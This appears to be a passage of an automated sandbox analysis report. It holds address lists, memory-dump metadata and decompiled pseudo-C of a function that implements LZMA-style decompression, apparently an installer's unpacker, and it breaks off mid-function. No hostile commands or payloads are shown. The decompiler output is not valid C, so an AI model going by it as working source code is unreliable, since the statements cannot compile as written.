                                                                                    0x004071a1
                                                                                    0x00000000
                                                                                    0x004071a1
                                                                                    0x0040706f
                                                                                    0x00407072
                                                                                    0x00407075
                                                                                    0x00407079
                                                                                    0x0040707c
                                                                                    0x00407082
                                                                                    0x00407084
                                                                                    0x00407084
                                                                                    0x00407084
                                                                                    0x00407087
                                                                                    0x0040708a
                                                                                    0x0040708a
                                                                                    0x0040708a
                                                                                    0x0040708a
                                                                                    0x0040708d
                                                                                    0x0040708d
                                                                                    0x00407091
                                                                                    0x004070f1
                                                                                    0x004070f4
                                                                                    0x004070f9
                                                                                    0x004070fa
                                                                                    0x004070fc
                                                                                    0x004070fe
                                                                                    0x00407101
                                                                                    0x0040700d
                                                                                    0x0040700d
                                                                                    0x00000000
                                                                                    0x00407013
                                                                                    0x0040700d
                                                                                    0x00407093
                                                                                    0x00407099
                                                                                    0x0040709c
                                                                                    0x0040709f
                                                                                    0x004070a2
                                                                                    0x004070a5
                                                                                    0x004070a8
                                                                                    0x004070ab
                                                                                    0x004070ae
                                                                                    0x004070b1
                                                                                    0x004070b4
                                                                                    0x004070cd
                                                                                    0x004070d0
                                                                                    0x004070d3
                                                                                    0x004070d6
                                                                                    0x004070da
                                                                                    0x004070dc
                                                                                    0x004070dc
                                                                                    0x004070dd
                                                                                    0x004070e0
                                                                                    0x004070b6
                                                                                    0x004070b6
                                                                                    0x004070be
                                                                                    0x004070c3
                                                                                    0x004070c5
                                                                                    0x004070c8
                                                                                    0x004070c8
                                                                                    0x004070e3
                                                                                    0x004070ea
                                                                                    0x00000000
                                                                                    0x004070ec
                                                                                    0x00000000
                                                                                    0x004070ec
                                                                                    0x00000000
                                                                                    0x00406d88
                                                                                    0x00406d8b
                                                                                    0x00406dc1
                                                                                    0x00406ef1
                                                                                    0x00406ef1
                                                                                    0x00406ef1
                                                                                    0x00406ef1
                                                                                    0x00406ef4
                                                                                    0x00406ef4
                                                                                    0x00406ef7
                                                                                    0x00406ef9
                                                                                    0x00407183
                                                                                    0x00000000
                                                                                    0x00407183
                                                                                    0x00406eff
                                                                                    0x00406f02
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406f08
                                                                                    0x00406f0c
                                                                                    0x00406f0f
                                                                                    0x00406f0f
                                                                                    0x00406f0f
                                                                                    0x00000000
                                                                                    0x00406f0f
                                                                                    0x00406d8d
                                                                                    0x00406d8f
                                                                                    0x00406d91
                                                                                    0x00406d93
                                                                                    0x00406d96
                                                                                    0x00406d97
                                                                                    0x00406d99
                                                                                    0x00406d9b
                                                                                    0x00406d9e
                                                                                    0x00406da1
                                                                                    0x00406db7
                                                                                    0x00406dbc
                                                                                    0x00406df4
                                                                                    0x00406df4
                                                                                    0x00406df8
                                                                                    0x00406e24
                                                                                    0x00406e26
                                                                                    0x00406e2d
                                                                                    0x00406e30
                                                                                    0x00406e33
                                                                                    0x00406e33
                                                                                    0x00406e38
                                                                                    0x00406e38
                                                                                    0x00406e3a
                                                                                    0x00406e3d
                                                                                    0x00406e44
                                                                                    0x00406e47
                                                                                    0x00406e74
                                                                                    0x00406e74
                                                                                    0x00406e77
                                                                                    0x00406e7a
                                                                                    0x00406eee
                                                                                    0x00406eee
                                                                                    0x00406eee
                                                                                    0x00000000
                                                                                    0x00406eee
                                                                                    0x00406e7c
                                                                                    0x00406e82
                                                                                    0x00406e85
                                                                                    0x00406e88
                                                                                    0x00406e8b
                                                                                    0x00406e8e
                                                                                    0x00406e91
                                                                                    0x00406e94
                                                                                    0x00406e97
                                                                                    0x00406e9a
                                                                                    0x00406e9d
                                                                                    0x00406eb6
                                                                                    0x00406eb8
                                                                                    0x00406ebb
                                                                                    0x00406ebc
                                                                                    0x00406ebf
                                                                                    0x00406ec1
                                                                                    0x00406ec4
                                                                                    0x00406ec6
                                                                                    0x00406ec8
                                                                                    0x00406ecb
                                                                                    0x00406ecd
                                                                                    0x00406ed0
                                                                                    0x00406ed4
                                                                                    0x00406ed6
                                                                                    0x00406ed6
                                                                                    0x00406ed7
                                                                                    0x00406eda
                                                                                    0x00406edd
                                                                                    0x00406e9f
                                                                                    0x00406e9f
                                                                                    0x00406ea7
                                                                                    0x00406eac
                                                                                    0x00406eae
                                                                                    0x00406eb1
                                                                                    0x00406eb1
                                                                                    0x00406ee0
                                                                                    0x00406ee7
                                                                                    0x00406e71
                                                                                    0x00406e71
                                                                                    0x00406e71
                                                                                    0x00406e71
                                                                                    0x00000000
                                                                                    0x00406ee9
                                                                                    0x00000000
                                                                                    0x00406ee9
                                                                                    0x00406ee7
                                                                                    0x00406dfa
                                                                                    0x00406dfd
                                                                                    0x00406dff
                                                                                    0x00406e02
                                                                                    0x00406e05
                                                                                    0x00406e08
                                                                                    0x00406e0a
                                                                                    0x00406e0d
                                                                                    0x00406e10
                                                                                    0x00406e10
                                                                                    0x00406e13
                                                                                    0x00406e13
                                                                                    0x00406e16
                                                                                    0x00406e1d
                                                                                    0x00406df1
                                                                                    0x00406df1
                                                                                    0x00406df1
                                                                                    0x00406df1
                                                                                    0x00000000
                                                                                    0x00406e1f
                                                                                    0x00000000
                                                                                    0x00406e1f
                                                                                    0x00406e1d
                                                                                    0x00406da3
                                                                                    0x00406da6
                                                                                    0x00406da8
                                                                                    0x00406dab
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406b0a
                                                                                    0x00406b0a
                                                                                    0x00406b0e
                                                                                    0x00407153
                                                                                    0x00000000
                                                                                    0x00407153
                                                                                    0x00406b14
                                                                                    0x00406b17
                                                                                    0x00406b1a
                                                                                    0x00406b1d
                                                                                    0x00406b20
                                                                                    0x00406b23
                                                                                    0x00406b26
                                                                                    0x00406b28
                                                                                    0x00406b2b
                                                                                    0x00406b2e
                                                                                    0x00406b31
                                                                                    0x00406b33
                                                                                    0x00406b33
                                                                                    0x00406b33
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406c95
                                                                                    0x00406c95
                                                                                    0x00406c99
                                                                                    0x0040715f
                                                                                    0x00000000
                                                                                    0x0040715f
                                                                                    0x00406c9f
                                                                                    0x00406ca2
                                                                                    0x00406ca5
                                                                                    0x00406ca8
                                                                                    0x00406caa
                                                                                    0x00406caa
                                                                                    0x00406caa
                                                                                    0x00406cad
                                                                                    0x00406cb0
                                                                                    0x00406cb3
                                                                                    0x00406cb6
                                                                                    0x00406cb9
                                                                                    0x00406cbc
                                                                                    0x00406cbd
                                                                                    0x00406cbf
                                                                                    0x00406cbf
                                                                                    0x00406cbf
                                                                                    0x00406cc2
                                                                                    0x00406cc5
                                                                                    0x00406cc8
                                                                                    0x00406ccb
                                                                                    0x00406ccb
                                                                                    0x00406ccb
                                                                                    0x00406cce
                                                                                    0x00406cd0
                                                                                    0x00406cd0
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406f12
                                                                                    0x00406f12
                                                                                    0x00406f12
                                                                                    0x00406f16
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406f1c
                                                                                    0x00406f1f
                                                                                    0x00406f22
                                                                                    0x00406f25
                                                                                    0x00406f27
                                                                                    0x00406f27
                                                                                    0x00406f27
                                                                                    0x00406f2a
                                                                                    0x00406f2d
                                                                                    0x00406f30
                                                                                    0x00406f33
                                                                                    0x00406f36
                                                                                    0x00406f39
                                                                                    0x00406f3a
                                                                                    0x00406f3c
                                                                                    0x00406f3c
                                                                                    0x00406f3c
                                                                                    0x00406f3f
                                                                                    0x00406f42
                                                                                    0x00406f45
                                                                                    0x00406f48
                                                                                    0x00406f4b
                                                                                    0x00406f4f
                                                                                    0x00406f51
                                                                                    0x00406f54
                                                                                    0x00000000
                                                                                    0x00406f56
                                                                                    0x00406cd3
                                                                                    0x00406cd3
                                                                                    0x00000000
                                                                                    0x00406cd3
                                                                                    0x00406f54
                                                                                    0x00407189
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004067b8
                                                                                    0x004071c0
                                                                                    0x004071c0
                                                                                    0x00000000
                                                                                    0x004071c0
                                                                                    0x0040700d
                                                                                    0x00406f94
                                                                                    0x00406f91
                                                                                    0x00000000
                                                                                    0x00406bc8

                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: a790c0330ad62cbb347795bf86deb23ec280a471c33d2e26a689dec21b6fd0bb
                                                                                    • Instruction ID: 28a04b8f37ec13448d59bb684de8c36190a5ca9e173ef22aca7ace3c2f707fcc
                                                                                    • Opcode Fuzzy Hash: a790c0330ad62cbb347795bf86deb23ec280a471c33d2e26a689dec21b6fd0bb
                                                                                    • Instruction Fuzzy Hash: F2713471D04229CFDF28CF98C8447ADBBB1FB48305F15806AD846BB281C7386996DF54
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 98%
                                                                                    			E00406CE2() {
                                                                                    				unsigned short _t531;
                                                                                    				signed int _t532;
                                                                                    				void _t533;
                                                                                    				signed int _t534;
                                                                                    				signed int _t535;
                                                                                    				signed int _t565;
                                                                                    				signed int _t568;
                                                                                    				signed int _t589;
                                                                                    				signed int* _t606;
                                                                                    				void* _t613;
                                                                                    
                                                                                    				L0:
                                                                                    				while(1) {
                                                                                    					L0:
                                                                                    					if( *(_t613 - 0x40) != 0) {
                                                                                    						 *(_t613 - 0x84) = 0xb;
                                                                                    						_t606 =  *(_t613 - 4) + 0x1c8 +  *(_t613 - 0x38) * 2;
                                                                                    						goto L132;
                                                                                    					} else {
                                                                                    						__eax =  *(__ebp - 0x28);
                                                                                    						L88:
                                                                                    						 *(__ebp - 0x2c) = __eax;
                                                                                    						 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                                                                    						L89:
                                                                                    						__eax =  *(__ebp - 4);
                                                                                    						 *(__ebp - 0x80) = 0x15;
                                                                                    						__eax =  *(__ebp - 4) + 0xa68;
                                                                                    						 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
                                                                                    						L69:
                                                                                    						 *(__ebp - 0x84) = 0x12;
                                                                                    						while(1) {
                                                                                    							L132:
                                                                                    							 *(_t613 - 0x54) = _t606;
                                                                                    							while(1) {
                                                                                    								L133:
                                                                                    								_t531 =  *_t606;
                                                                                    								_t589 = _t531 & 0x0000ffff;
                                                                                    								_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
                                                                                    								if( *(_t613 - 0xc) >= _t565) {
                                                                                    									 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
                                                                                    									 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
                                                                                    									 *(_t613 - 0x40) = 1;
                                                                                    									_t532 = _t531 - (_t531 >> 5);
                                                                                    									 *_t606 = _t532;
                                                                                    								} else {
                                                                                    									 *(_t613 - 0x10) = _t565;
                                                                                    									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
                                                                                    									 *_t606 = (0x800 - _t589 >> 5) + _t531;
                                                                                    								}
                                                                                    								if( *(_t613 - 0x10) >= 0x1000000) {
                                                                                    									goto L139;
                                                                                    								}
                                                                                    								L137:
                                                                                    								if( *(_t613 - 0x6c) == 0) {
                                                                                    									 *(_t613 - 0x88) = 5;
                                                                                    									L170:
                                                                                    									_t568 = 0x22;
                                                                                    									memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
                                                                                    									_t535 = 0;
                                                                                    									L172:
                                                                                    									return _t535;
                                                                                    								}
                                                                                    								 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
                                                                                    								 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                                                                    								 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
                                                                                    								 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
                                                                                    								L139:
                                                                                    								_t533 =  *(_t613 - 0x84);
                                                                                    								while(1) {
                                                                                    									 *(_t613 - 0x88) = _t533;
                                                                                    									while(1) {
                                                                                    										L1:
                                                                                    										_t534 =  *(_t613 - 0x88);
                                                                                    										if(_t534 > 0x1c) {
                                                                                    											break;
                                                                                    										}
                                                                                    										switch( *((intOrPtr*)(_t534 * 4 +  &M004071C8))) {
                                                                                    											case 0:
                                                                                    												if( *(_t613 - 0x6c) == 0) {
                                                                                    													goto L170;
                                                                                    												}
                                                                                    												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                                                                    												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
                                                                                    												_t534 =  *( *(_t613 - 0x70));
                                                                                    												if(_t534 > 0xe1) {
                                                                                    													goto L171;
                                                                                    												}
                                                                                    												_t538 = _t534 & 0x000000ff;
                                                                                    												_push(0x2d);
                                                                                    												asm("cdq");
                                                                                    												_pop(_t570);
                                                                                    												_push(9);
                                                                                    												_pop(_t571);
                                                                                    												_t609 = _t538 / _t570;
                                                                                    												_t540 = _t538 % _t570 & 0x000000ff;
                                                                                    												asm("cdq");
                                                                                    												_t604 = _t540 % _t571 & 0x000000ff;
                                                                                    												 *(_t613 - 0x3c) = _t604;
                                                                                    												 *(_t613 - 0x1c) = (1 << _t609) - 1;
                                                                                    												 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
                                                                                    												_t612 = (0x300 << _t604 + _t609) + 0x736;
                                                                                    												if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
                                                                                    													L10:
                                                                                    													if(_t612 == 0) {
                                                                                    														L12:
                                                                                    														 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
                                                                                    														 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
                                                                                    														goto L15;
                                                                                    													} else {
                                                                                    														goto L11;
                                                                                    													}
                                                                                    													do {
                                                                                    														L11:
                                                                                    														_t612 = _t612 - 1;
                                                                                    														 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
                                                                                    													} while (_t612 != 0);
                                                                                    													goto L12;
                                                                                    												}
                                                                                    												if( *(_t613 - 4) != 0) {
                                                                                    													GlobalFree( *(_t613 - 4));
                                                                                    												}
                                                                                    												_t534 = GlobalAlloc(0x40, 0x600); // executed
                                                                                    												 *(_t613 - 4) = _t534;
                                                                                    												if(_t534 == 0) {
                                                                                    													goto L171;
                                                                                    												} else {
                                                                                    													 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
                                                                                    													goto L10;
                                                                                    												}
                                                                                    											case 1:
                                                                                    												L13:
                                                                                    												__eflags =  *(_t613 - 0x6c);
                                                                                    												if( *(_t613 - 0x6c) == 0) {
                                                                                    													 *(_t613 - 0x88) = 1;
                                                                                    													goto L170;
                                                                                    												}
                                                                                    												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                                                                    												 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
                                                                                    												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
                                                                                    												_t45 = _t613 - 0x48;
                                                                                    												 *_t45 =  *(_t613 - 0x48) + 1;
                                                                                    												__eflags =  *_t45;
                                                                                    												L15:
                                                                                    												if( *(_t613 - 0x48) < 4) {
                                                                                    													goto L13;
                                                                                    												}
                                                                                    												_t546 =  *(_t613 - 0x40);
                                                                                    												if(_t546 ==  *(_t613 - 0x74)) {
                                                                                    													L20:
                                                                                    													 *(_t613 - 0x48) = 5;
                                                                                    													 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
                                                                                    													goto L23;
                                                                                    												}
                                                                                    												 *(_t613 - 0x74) = _t546;
                                                                                    												if( *(_t613 - 8) != 0) {
                                                                                    													GlobalFree( *(_t613 - 8));
                                                                                    												}
                                                                                    												_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
                                                                                    												 *(_t613 - 8) = _t534;
                                                                                    												if(_t534 == 0) {
                                                                                    													goto L171;
                                                                                    												} else {
                                                                                    													goto L20;
                                                                                    												}
                                                                                    											case 2:
                                                                                    												L24:
                                                                                    												_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
                                                                                    												 *(_t613 - 0x84) = 6;
                                                                                    												 *(_t613 - 0x4c) = _t553;
                                                                                    												_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
                                                                                    												L132:
                                                                                    												 *(_t613 - 0x54) = _t606;
                                                                                    												goto L133;
                                                                                    											case 3:
                                                                                    												L21:
                                                                                    												__eflags =  *(_t613 - 0x6c);
                                                                                    												if( *(_t613 - 0x6c) == 0) {
                                                                                    													 *(_t613 - 0x88) = 3;
                                                                                    													goto L170;
                                                                                    												}
                                                                                    												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                                                                    												_t67 = _t613 - 0x70;
                                                                                    												 *_t67 =  &(( *(_t613 - 0x70))[1]);
                                                                                    												__eflags =  *_t67;
                                                                                    												 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
                                                                                    												L23:
                                                                                    												 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
                                                                                    												if( *(_t613 - 0x48) != 0) {
                                                                                    													goto L21;
                                                                                    												}
                                                                                    												goto L24;
                                                                                    											case 4:
                                                                                    												L133:
                                                                                    												_t531 =  *_t606;
                                                                                    												_t589 = _t531 & 0x0000ffff;
                                                                                    												_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
                                                                                    												if( *(_t613 - 0xc) >= _t565) {
                                                                                    													 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
                                                                                    													 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
                                                                                    													 *(_t613 - 0x40) = 1;
                                                                                    													_t532 = _t531 - (_t531 >> 5);
                                                                                    													 *_t606 = _t532;
                                                                                    												} else {
                                                                                    													 *(_t613 - 0x10) = _t565;
                                                                                    													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
                                                                                    													 *_t606 = (0x800 - _t589 >> 5) + _t531;
                                                                                    												}
                                                                                    												if( *(_t613 - 0x10) >= 0x1000000) {
                                                                                    													goto L139;
                                                                                    												}
                                                                                    											case 5:
                                                                                    												goto L137;
                                                                                    											case 6:
                                                                                    												__edx = 0;
                                                                                    												__eflags =  *(__ebp - 0x40);
                                                                                    												if( *(__ebp - 0x40) != 0) {
                                                                                    													__eax =  *(__ebp - 4);
                                                                                    													__ecx =  *(__ebp - 0x38);
                                                                                    													 *(__ebp - 0x34) = 1;
                                                                                    													 *(__ebp - 0x84) = 7;
                                                                                    													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
                                                                                    													while(1) {
                                                                                    														L132:
                                                                                    														 *(_t613 - 0x54) = _t606;
                                                                                    														goto L133;
                                                                                    													}
                                                                                    												}
                                                                                    												__eax =  *(__ebp - 0x5c) & 0x000000ff;
                                                                                    												__esi =  *(__ebp - 0x60);
                                                                                    												__cl = 8;
                                                                                    												__cl = 8 -  *(__ebp - 0x3c);
                                                                                    												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
                                                                                    												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
                                                                                    												__ecx =  *(__ebp - 0x3c);
                                                                                    												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
                                                                                    												__ecx =  *(__ebp - 4);
                                                                                    												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
                                                                                    												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
                                                                                    												__eflags =  *(__ebp - 0x38) - 4;
                                                                                    												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                                                                    												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                                                                    												if( *(__ebp - 0x38) >= 4) {
                                                                                    													__eflags =  *(__ebp - 0x38) - 0xa;
                                                                                    													if( *(__ebp - 0x38) >= 0xa) {
                                                                                    														_t98 = __ebp - 0x38;
                                                                                    														 *_t98 =  *(__ebp - 0x38) - 6;
                                                                                    														__eflags =  *_t98;
                                                                                    													} else {
                                                                                    														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
                                                                                    													}
                                                                                    												} else {
                                                                                    													 *(__ebp - 0x38) = 0;
                                                                                    												}
                                                                                    												__eflags =  *(__ebp - 0x34) - __edx;
                                                                                    												if( *(__ebp - 0x34) == __edx) {
                                                                                    													__ebx = 0;
                                                                                    													__ebx = 1;
                                                                                    													goto L61;
                                                                                    												} else {
                                                                                    													__eax =  *(__ebp - 0x14);
                                                                                    													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                                                    													__eflags = __eax -  *(__ebp - 0x74);
                                                                                    													if(__eax >=  *(__ebp - 0x74)) {
                                                                                    														__eax = __eax +  *(__ebp - 0x74);
                                                                                    														__eflags = __eax;
                                                                                    													}
                                                                                    													__ecx =  *(__ebp - 8);
                                                                                    													__ebx = 0;
                                                                                    													__ebx = 1;
                                                                                    													__al =  *((intOrPtr*)(__eax + __ecx));
                                                                                    													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
                                                                                    													goto L41;
                                                                                    												}
                                                                                    											case 7:
                                                                                    												__eflags =  *(__ebp - 0x40) - 1;
                                                                                    												if( *(__ebp - 0x40) != 1) {
                                                                                    													__eax =  *(__ebp - 0x24);
                                                                                    													 *(__ebp - 0x80) = 0x16;
                                                                                    													 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                                                                    													__eax =  *(__ebp - 0x28);
                                                                                    													 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                                                                    													__eax =  *(__ebp - 0x2c);
                                                                                    													 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                                                                    													__eax = 0;
                                                                                    													__eflags =  *(__ebp - 0x38) - 7;
                                                                                    													0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                                                                    													__al = __al & 0x000000fd;
                                                                                    													__eax = (__eflags >= 0) - 1 + 0xa;
                                                                                    													 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
                                                                                    													__eax =  *(__ebp - 4);
                                                                                    													__eax =  *(__ebp - 4) + 0x664;
                                                                                    													__eflags = __eax;
                                                                                    													 *(__ebp - 0x58) = __eax;
                                                                                    													goto L69;
                                                                                    												}
                                                                                    												__eax =  *(__ebp - 4);
                                                                                    												__ecx =  *(__ebp - 0x38);
                                                                                    												 *(__ebp - 0x84) = 8;
                                                                                    												__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
                                                                                    												while(1) {
                                                                                    													L132:
                                                                                    													 *(_t613 - 0x54) = _t606;
                                                                                    													goto L133;
                                                                                    												}
                                                                                    											case 8:
                                                                                    												__eflags =  *(__ebp - 0x40);
                                                                                    												if( *(__ebp - 0x40) != 0) {
                                                                                    													__eax =  *(__ebp - 4);
                                                                                    													__ecx =  *(__ebp - 0x38);
                                                                                    													 *(__ebp - 0x84) = 0xa;
                                                                                    													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
                                                                                    												} else {
                                                                                    													__eax =  *(__ebp - 0x38);
                                                                                    													__ecx =  *(__ebp - 4);
                                                                                    													__eax =  *(__ebp - 0x38) + 0xf;
                                                                                    													 *(__ebp - 0x84) = 9;
                                                                                    													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
                                                                                    													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
                                                                                    												}
                                                                                    												while(1) {
                                                                                    													L132:
                                                                                    													 *(_t613 - 0x54) = _t606;
                                                                                    													goto L133;
                                                                                    												}
                                                                                    											case 9:
                                                                                    												__eflags =  *(__ebp - 0x40);
                                                                                    												if( *(__ebp - 0x40) != 0) {
                                                                                    													goto L89;
                                                                                    												}
                                                                                    												__eflags =  *(__ebp - 0x60);
                                                                                    												if( *(__ebp - 0x60) == 0) {
                                                                                    													goto L171;
                                                                                    												}
                                                                                    												__eax = 0;
                                                                                    												__eflags =  *(__ebp - 0x38) - 7;
                                                                                    												_t259 =  *(__ebp - 0x38) - 7 >= 0;
                                                                                    												__eflags = _t259;
                                                                                    												0 | _t259 = _t259 + _t259 + 9;
                                                                                    												 *(__ebp - 0x38) = _t259 + _t259 + 9;
                                                                                    												goto L76;
                                                                                    											case 0xa:
                                                                                    												goto L0;
                                                                                    											case 0xb:
                                                                                    												__eflags =  *(__ebp - 0x40);
                                                                                    												if( *(__ebp - 0x40) != 0) {
                                                                                    													__ecx =  *(__ebp - 0x24);
                                                                                    													__eax =  *(__ebp - 0x20);
                                                                                    													 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                                                                    												} else {
                                                                                    													__eax =  *(__ebp - 0x24);
                                                                                    												}
                                                                                    												__ecx =  *(__ebp - 0x28);
                                                                                    												 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                                                                    												goto L88;
                                                                                    											case 0xc:
                                                                                    												L99:
                                                                                    												__eflags =  *(__ebp - 0x6c);
                                                                                    												if( *(__ebp - 0x6c) == 0) {
                                                                                    													 *(__ebp - 0x88) = 0xc;
                                                                                    													goto L170;
                                                                                    												}
                                                                                    												__ecx =  *(__ebp - 0x70);
                                                                                    												__eax =  *(__ebp - 0xc);
                                                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                    												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                    												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    												_t334 = __ebp - 0x70;
                                                                                    												 *_t334 =  *(__ebp - 0x70) + 1;
                                                                                    												__eflags =  *_t334;
                                                                                    												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    												__eax =  *(__ebp - 0x2c);
                                                                                    												goto L101;
                                                                                    											case 0xd:
                                                                                    												L37:
                                                                                    												__eflags =  *(__ebp - 0x6c);
                                                                                    												if( *(__ebp - 0x6c) == 0) {
                                                                                    													 *(__ebp - 0x88) = 0xd;
                                                                                    													goto L170;
                                                                                    												}
                                                                                    												__ecx =  *(__ebp - 0x70);
                                                                                    												__eax =  *(__ebp - 0xc);
                                                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                    												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                    												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    												_t122 = __ebp - 0x70;
                                                                                    												 *_t122 =  *(__ebp - 0x70) + 1;
                                                                                    												__eflags =  *_t122;
                                                                                    												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    												L39:
                                                                                    												__eax =  *(__ebp - 0x40);
                                                                                    												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                                                                    												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
                                                                                    													goto L48;
                                                                                    												}
                                                                                    												__eflags = __ebx - 0x100;
                                                                                    												if(__ebx >= 0x100) {
                                                                                    													goto L54;
                                                                                    												}
                                                                                    												L41:
                                                                                    												__eax =  *(__ebp - 0x5b) & 0x000000ff;
